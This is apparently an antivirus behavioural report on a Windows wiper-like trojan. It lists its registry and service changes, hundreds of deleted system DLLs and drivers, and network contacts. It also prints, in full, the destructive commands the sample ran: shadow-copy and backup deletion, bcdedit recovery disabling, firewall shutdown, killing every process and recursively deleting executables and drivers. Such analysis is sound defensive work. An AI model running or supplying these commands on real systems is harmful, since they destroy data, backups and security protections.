Trojan.Siggen21.31455

Technical Information

To ensure autorun and distribution

Sets the following service settings

[HKLM\System\CurrentControlSet\Services\shit] 'Start' = '00000002'
[HKLM\System\CurrentControlSet\Services\shit] 'ImagePath' = '%systedrive%WindowsSystem32cmd.exe'
[HKLM\System\CurrentControlSet\Services\IKEEXT] 'Start' = '00000002'

Creates the following services

'shit' %systedrive%WindowsSystem32cmd.exe

Malicious functions

To bypass firewall, removes or modifies the following registry keys

[HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile] 'EnableFirewall' = '00000000'
[HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'EnableFirewall' = '00000000'

To complicate detection of its presence in the operating system,

blocks the following features:

System Restore (SR)

deletes volume shadow copies.

Executes the following

'<SYSTEM32>\taskkill.exe' /f /IM *.exe
'<SYSTEM32>\netsh.exe' firewall set opmode mode=disable
'<SYSTEM32>\netsh.exe' advfirewall set allprofiles state off

Modifies file system

Deletes the following files

<DRIVERS>\1394bus.sys
<SYSTEM32>\mfc140enu.dll
<SYSTEM32>\mfc140esn.dll
<SYSTEM32>\mfc140fra.dll
<SYSTEM32>\mfc140ita.dll
<SYSTEM32>\mfc140jpn.dll
<SYSTEM32>\mfc140kor.dll
<SYSTEM32>\mfc140rus.dll
<SYSTEM32>\mfc140u.dll
<SYSTEM32>\mfcm100.dll
<SYSTEM32>\mfcm100u.dll
<SYSTEM32>\mfcm110.dll
<SYSTEM32>\mfcm110u.dll
<SYSTEM32>\mfc110kor.dll
<SYSTEM32>\mfcm120.dll
<SYSTEM32>\mfcm140.dll
<SYSTEM32>\mfcm140u.dll
<SYSTEM32>\msclmd.dll
<SYSTEM32>\msvcm90d.dll
<SYSTEM32>\msvcp100.dll
<SYSTEM32>\msvcp100d.dll
<SYSTEM32>\msvcp110.dll
<SYSTEM32>\msvcp110d.dll
<SYSTEM32>\msvcp120.dll
<SYSTEM32>\msvcp120d.dll
<SYSTEM32>\msvcp140.dll
<SYSTEM32>\msvcp140d.dll
<SYSTEM32>\mfc140cht.dll
<SYSTEM32>\mfc140deu.dll
<SYSTEM32>\mfc140chs.dll
<SYSTEM32>\mfc140.dll
<SYSTEM32>\mfc120u.dll
<SYSTEM32>\mfc100jpn.dll
<SYSTEM32>\mfc100kor.dll
<SYSTEM32>\mfc100rus.dll
<SYSTEM32>\mfc100u.dll
<SYSTEM32>\mfc110.dll
<SYSTEM32>\mfc110chs.dll
<SYSTEM32>\mfc110cht.dll
<SYSTEM32>\mfc110deu.dll
<SYSTEM32>\mfc110enu.dll
<SYSTEM32>\mfc110esn.dll
<SYSTEM32>\mfc110fra.dll
<SYSTEM32>\mfc110ita.dll
<SYSTEM32>\msvcp140_1.dll
<SYSTEM32>\mfcm120u.dll
<SYSTEM32>\mfc110jpn.dll
<SYSTEM32>\mfc110u.dll
<SYSTEM32>\mfc120.dll
<SYSTEM32>\mfc120chs.dll
<SYSTEM32>\mfc120cht.dll
<SYSTEM32>\mfc120deu.dll
<SYSTEM32>\mfc120enu.dll
<SYSTEM32>\mfc120esn.dll
<SYSTEM32>\mfc120fra.dll
<SYSTEM32>\mfc120ita.dll
<SYSTEM32>\mfc120jpn.dll
<SYSTEM32>\mfc120kor.dll
<SYSTEM32>\mfc120rus.dll
<SYSTEM32>\mfc100ita.dll
<SYSTEM32>\mfc110rus.dll
<SYSTEM32>\msvcp140_2.dll
<SYSTEM32>\msvcp140_atomic_wait.dll
<SYSTEM32>\msvcp140_codecvt_ids.dll
<SYSTEM32>\vmicres.dll
<SYSTEM32>\vmictimeprovider.dll
<SYSTEM32>\vmstorfltres.dll
<SYSTEM32>\windowsaccessbridge-64.dll
<SYSTEM32>\migwiz\replacementmanifests\microsoft-windows-gameuxmig\gameuxmig.dll
<SYSTEM32>\spool\drivers\x64\mxdwdrv.dll
<SYSTEM32>\spool\drivers\x64\sendtoonenotefilter.dll
<SYSTEM32>\spool\drivers\x64\sendtoonenoteui.dll
<SYSTEM32>\spool\drivers\x64\unidrv.dll
<SYSTEM32>\spool\drivers\x64\unidrvui.dll
<SYSTEM32>\spool\drivers\x64\unires.dll
<SYSTEM32>\spool\drivers\x64\xpssvcs.dll
<SYSTEM32>\spool\drivers\x64\3\fxsapi.dll
<SYSTEM32>\spool\drivers\x64\3\fxsres.dll
<SYSTEM32>\mfc100fra.dll
<SYSTEM32>\spool\drivers\x64\3\fxstiff.dll
<SYSTEM32>\spool\drivers\x64\3\fxsui.dll
<SYSTEM32>\spool\drivers\x64\3\fxswzrd.dll
<SYSTEM32>\spool\drivers\x64\3\jnwdrv.dll
<SYSTEM32>\spool\drivers\x64\3\jnwdui.dll
<SYSTEM32>\spool\drivers\x64\3\mxdwdrv.dll
<SYSTEM32>\spool\drivers\x64\3\mxdwdui.dll
<SYSTEM32>\spool\drivers\x64\3\sendtoonenotefilter.dll
<SYSTEM32>\spool\drivers\x64\3\sendtoonenoteui.dll
<SYSTEM32>\spool\drivers\x64\3\unidrv.dll
<SYSTEM32>\spool\drivers\x64\3\unidrvui.dll
<SYSTEM32>\spool\drivers\x64\3\unires.dll
<SYSTEM32>\spool\drivers\x64\3\xpssvcs.dll
<SYSTEM32>\vmdcoinstall.dll
<SYSTEM32>\vcamp140.dll
<SYSTEM32>\vmbusres.dll
<SYSTEM32>\vcamp120.dll
<SYSTEM32>\msvcp90d.dll
<SYSTEM32>\msvcr100.dll
<SYSTEM32>\msvcr100d.dll
<SYSTEM32>\msvcr100_clr0400.dll
<SYSTEM32>\msvcr110.dll
<SYSTEM32>\msvcr110d.dll
<SYSTEM32>\msvcr120.dll
<SYSTEM32>\msvcr120d.dll
<SYSTEM32>\msvcr90d.dll
<SYSTEM32>\streamci.dll
<SYSTEM32>\ucrtbased.dll
<SYSTEM32>\vbame.dll
<SYSTEM32>\vcamp110.dll
<SYSTEM32>\spool\prtprocs\x64\jnwppr.dll
<SYSTEM32>\vmbuscoinstaller.dll
<SYSTEM32>\vccorlib110.dll
<SYSTEM32>\vccorlib110d.dll
<SYSTEM32>\vccorlib120.dll
<SYSTEM32>\vccorlib120d.dll
<SYSTEM32>\vccorlib140.dll
<SYSTEM32>\vccorlib140d.dll
<SYSTEM32>\vcomp100.dll
<SYSTEM32>\vcomp110.dll
<SYSTEM32>\vcomp120.dll
<SYSTEM32>\vcomp140.dll
<SYSTEM32>\vcruntime140.dll
<SYSTEM32>\vcruntime140d.dll
<SYSTEM32>\vcruntime140_1.dll
<SYSTEM32>\vmbuspipe.dll
<SYSTEM32>\spool\drivers\x64\3\fxsdrv.dll
<SYSTEM32>\mfc100esn.dll
<SYSTEM32>\atl100.dll
<DRIVERS>\evbda.sys
<DRIVERS>\flpydisk.sys
<DRIVERS>\gagp30kx.sys
<DRIVERS>\hcw85cir.sys
<DRIVERS>\hidbatt.sys
<DRIVERS>\hidbth.sys
<DRIVERS>\hidir.sys
<DRIVERS>\hpsamd.sys
<DRIVERS>\iastorv.sys
<DRIVERS>\iirsp.sys
<DRIVERS>\intelide.sys
<DRIVERS>\ipmidrv.sys
<DRIVERS>\arcsas.sys
<DRIVERS>\isapnp.sys
<DRIVERS>\lsi_fc.sys
<DRIVERS>\lsi_sas.sys
<DRIVERS>\lsi_sas2.sys
<DRIVERS>\lsi_scsi.sys
<DRIVERS>\megasas.sys
<DRIVERS>\megasr.sys
<DRIVERS>\monitor.sys
<DRIVERS>\mpio.sys
<DRIVERS>\msahci.sys
<DRIVERS>\msdsm.sys
<DRIVERS>\msiscsi.sys
<DRIVERS>\mtconfig.sys
<DRIVERS>\elxstor.sys
<DRIVERS>\errdev.sys
<DRIVERS>\e1g6032e.sys
<DRIVERS>\dmvsc.sys
<DRIVERS>\crcdisk.sys
<DRIVERS>\acpipmi.sys
<DRIVERS>\adp94xx.sys
<DRIVERS>\adpahci.sys
<DRIVERS>\adpu320.sys
<DRIVERS>\agp440.sys
<DRIVERS>\aliide.sys
<DRIVERS>\amdide.sys
<DRIVERS>\amdk8.sys
<DRIVERS>\amdppm.sys
<DRIVERS>\amdsata.sys
<DRIVERS>\amdsbs.sys
<DRIVERS>\amdxata.sys
<DRIVERS>\nfrd960.sys
<DRIVERS>\kbdhid.sys
<DRIVERS>\arc.sys
<DRIVERS>\blbdrive.sys
<DRIVERS>\brfiltlo.sys
<DRIVERS>\brfiltup.sys
<DRIVERS>\brserid.sys
<DRIVERS>\brserwdm.sys
<DRIVERS>\brusbmdm.sys
<DRIVERS>\brusbser.sys
<DRIVERS>\bthmodem.sys
<DRIVERS>\bxvbda.sys
<DRIVERS>\circlass.sys
<DRIVERS>\cmdide.sys
<DRIVERS>\compbatt.sys
<DRIVERS>\1394ohci.sys
<DRIVERS>\b57nd60a.sys
<DRIVERS>\nvraid.sys
<DRIVERS>\nvstor.sys
<DRIVERS>\nv_agp.sys
<DRIVERS>\usbuhci.sys
<DRIVERS>\vhdmp.sys
<DRIVERS>\viaide.sys
<DRIVERS>\vmbus.sys
<DRIVERS>\vmbushid.sys
<DRIVERS>\vms3cap.sys
<DRIVERS>\vmstorfl.sys
<DRIVERS>\vsmraid.sys
<DRIVERS>\wacompen.sys
<DRIVERS>\wd.sys
<DRIVERS>\winhv.sys
<DRIVERS>\wmiacpi.sys
<SYSTEM32>\aspnet_counters.dll
<SYSTEM32>\atl110.dll
<SYSTEM32>\mfc100enu.dll
<SYSTEM32>\brcoinst.dll
<SYSTEM32>\circoinst.dll
<SYSTEM32>\concrt140.dll
<SYSTEM32>\concrt140d.dll
<SYSTEM32>\dll64.dll
<SYSTEM32>\dmvscres.dll
<SYSTEM32>\fm20.dll
<SYSTEM32>\fm20enu.dll
<SYSTEM32>\iccoinstall.dll
<SYSTEM32>\iscsilog.dll
<SYSTEM32>\mfc100.dll
<SYSTEM32>\mfc100chs.dll
<SYSTEM32>\mfc100cht.dll
<DRIVERS>\usbstor.sys
<DRIVERS>\sfloppy.sys
<DRIVERS>\usbprint.sys
<DRIVERS>\sffp_sd.sys
<DRIVERS>\ohci1394.sys
<DRIVERS>\parport.sys
<DRIVERS>\pciide.sys
<DRIVERS>\pcmcia.sys
<DRIVERS>\processr.sys
<DRIVERS>\ql2300.sys
<DRIVERS>\ql40xx.sys
<DRIVERS>\sbp2port.sys
<DRIVERS>\secdrv.sys
<DRIVERS>\serenum.sys
<DRIVERS>\serial.sys
<DRIVERS>\sffdisk.sys
<DRIVERS>\sffp_mmc.sys
<SYSTEM32>\mfc100deu.dll
<DRIVERS>\usbcir.sys
<DRIVERS>\sisraid2.sys
<DRIVERS>\sisraid4.sys
<DRIVERS>\stexstor.sys
<DRIVERS>\storvsc.sys
<DRIVERS>\swenum.sys
<DRIVERS>\synth3dvsc.sys
<DRIVERS>\terminpt.sys
<DRIVERS>\tsusbgd.sys
<DRIVERS>\tsusbhub.sys
<DRIVERS>\uagp35.sys
<DRIVERS>\uliagpkx.sys
<DRIVERS>\umpass.sys
<DRIVERS>\usbccgp.sys
<DRIVERS>\usbehci.sys
<SYSTEM32>\spool\prtprocs\x64\winprint.dll

Network activity

Connects to

'google.com':443
'pk#.goog':80

TCP

HTTP GET requests

http://pk#.goog/gsr1/gsr1.crt

Other

'google.com':443

UDP

DNS ASK google.com
DNS ASK pk#.goog
'localhost':59149
'localhost':57518

Miscellaneous

Searches for the following windows

ClassName: '' WindowName: ''

Creates and executes the following

'<SYSTEM32>\cmd.exe' /c attrib +s +h *.exe' (with hidden window)
'<SYSTEM32>\cmd.exe' /c powershell bcdedit.exe /set {{default}}recoveryenabled no' (with hidden window)
'<SYSTEM32>\cmd.exe' /c bcdedit /set {{default}}recoveryenabled no' (with hidden window)
'<SYSTEM32>\cmd.exe' /c powershell bcdedit.exe /set{{default}} bootstatuspolicy ignoreallfailures' (with hidden window)
'<SYSTEM32>\cmd.exe' /c bcdedit.exe /set{{default}} bootstatuspolicy ignoreallfailures' (with hidden window)
'<SYSTEM32>\cmd.exe' /c powershell wbadmin.exe delete backup' (with hidden window)
'<SYSTEM32>\cmd.exe' /c wbadmin.exe delete backup' (with hidden window)
'<SYSTEM32>\cmd.exe' /c powershell netsh advfirewall set allprofiles state off' (with hidden window)
'<SYSTEM32>\cmd.exe' /c netsh advfirewall set allprofiles state off' (with hidden window)
'<SYSTEM32>\cmd.exe' /c powershell netsh firewall set opmode mode=disable' (with hidden window)
'<SYSTEM32>\cmd.exe' /c netsh firewall set opmode mode=disable' (with hidden window)
'<SYSTEM32>\cmd.exe' /c del /f /s /q C:*.dll' (with hidden window)
'<SYSTEM32>\cmd.exe' /c del /f /s /q C:*.sys' (with hidden window)
'<SYSTEM32>\cmd.exe' /c del /f /s /q C:*.exe' (with hidden window)
'<SYSTEM32>\cmd.exe' /c TASKKILL /f /IM *.exe' (with hidden window)
'<SYSTEM32>\cmd.exe' /c powershell wmic shadowcopy delete /nointeractive' (with hidden window)
'<SYSTEM32>\cmd.exe' /c wmic shadowcopy delete /nointeractive' (with hidden window)
'<SYSTEM32>\cmd.exe' /c powershell vssadmin delete shadows /all /quiet' (with hidden window)
'<SYSTEM32>\cmd.exe' /c vssadmin delete shadows /all /quiet' (with hidden window)
'<SYSTEM32>\cmd.exe' /c sc create shit binpath= %systedrive%WindowsSystem32cmd.exe type= own start= auto displayname= shit' (with hidden window)
'<SYSTEM32>\cmd.exe' /c certutil.exe -urlcache -split -f https://www.google.com/images/branding/googlelogo/2x/googlelogo_color_272x92dp.png' (with hidden window)
'<SYSTEM32>\cmd.exe' /c powershell certutil.exe -urlcache -split -f https://www.google.com/images/branding/googlelogo/2x/googlelogo_color_272x92dp.png' (with hidden window)

Executes the following

'<SYSTEM32>\cmd.exe' /c attrib +s +h *.exe
'<SYSTEM32>\wbadmin.exe' delete backup
'<SYSTEM32>\cmd.exe' /c powershell wbadmin.exe delete backup
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' wbadmin.exe delete backup
'<SYSTEM32>\cmd.exe' /c bcdedit.exe /set{{default}} bootstatuspolicy ignoreallfailures
'<SYSTEM32>\bcdedit.exe' /set{{default}} bootstatuspolicy ignoreallfailures
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' netsh advfirewall set allprofiles state off
'<SYSTEM32>\cmd.exe' /c wbadmin.exe delete backup
'<SYSTEM32>\cmd.exe' /c powershell bcdedit.exe /set{{default}} bootstatuspolicy ignoreallfailures
'<SYSTEM32>\cmd.exe' /c bcdedit /set {{default}}recoveryenabled no
'<SYSTEM32>\cmd.exe' /c powershell bcdedit.exe /set {{default}}recoveryenabled no
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' bcdedit.exe /set {{default}}recoveryenabled no
'<SYSTEM32>\cmd.exe' /c certutil.exe -urlcache -split -f https://www.google.com/images/branding/googlelogo/2x/googlelogo_color_272x92dp.png
'<SYSTEM32>\certutil.exe' -urlcache -split -f https://www.google.com/images/branding/googlelogo/2x/googlelogo_color_272x92dp.png
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' bcdedit.exe /set{{default}} bootstatuspolicy ignoreallfailures
'<SYSTEM32>\bcdedit.exe' /set -encodedCommand ewBkAGUAZgBhAHUAbAB0AH0A bootstatuspolicy ignoreallfailures -inputFormat xml -outputFormat text
'<SYSTEM32>\cmd.exe' /c powershell netsh advfirewall set allprofiles state off
'<SYSTEM32>\cmd.exe' /c netsh advfirewall set allprofiles state off
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' netsh firewall set opmode mode=disable
'<SYSTEM32>\cmd.exe' /c sc create shit binpath= %systedrive%WindowsSystem32cmd.exe type= own start= auto displayname= shit
'<SYSTEM32>\sc.exe' create shit binpath= %systedrive%WindowsSystem32cmd.exe type= own start= auto displayname= shit
'<SYSTEM32>\cmd.exe' /c vssadmin delete shadows /all /quiet
'<SYSTEM32>\cmd.exe' /c powershell vssadmin delete shadows /all /quiet
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' vssadmin delete shadows /all /quiet
'<SYSTEM32>\cmd.exe' /c wmic shadowcopy delete /nointeractive
'<SYSTEM32>\attrib.exe' +s +h *.exe
'<SYSTEM32>\cmd.exe' /c powershell wmic shadowcopy delete /nointeractive
'<SYSTEM32>\cmd.exe' /c TASKKILL /f /IM *.exe
'<SYSTEM32>\cmd.exe' /c del /f /s /q C:*.exe
'<SYSTEM32>\cmd.exe' /c del /f /s /q C:*.sys
'<SYSTEM32>\cmd.exe' /c del /f /s /q C:*.dll
'<SYSTEM32>\cmd.exe' /c netsh firewall set opmode mode=disable
'<SYSTEM32>\cmd.exe' /c powershell netsh firewall set opmode mode=disable
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' wmic shadowcopy delete /nointeractive
'<SYSTEM32>\cmd.exe' /c powershell certutil.exe -urlcache -split -f https://www.google.com/images/branding/googlelogo/2x/googlelogo_color_272x92dp.png
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' certutil.exe -urlcache -split -f https://www.google.com/images/branding/googlelogo/2x/googlelogo_color_272x92dp.png

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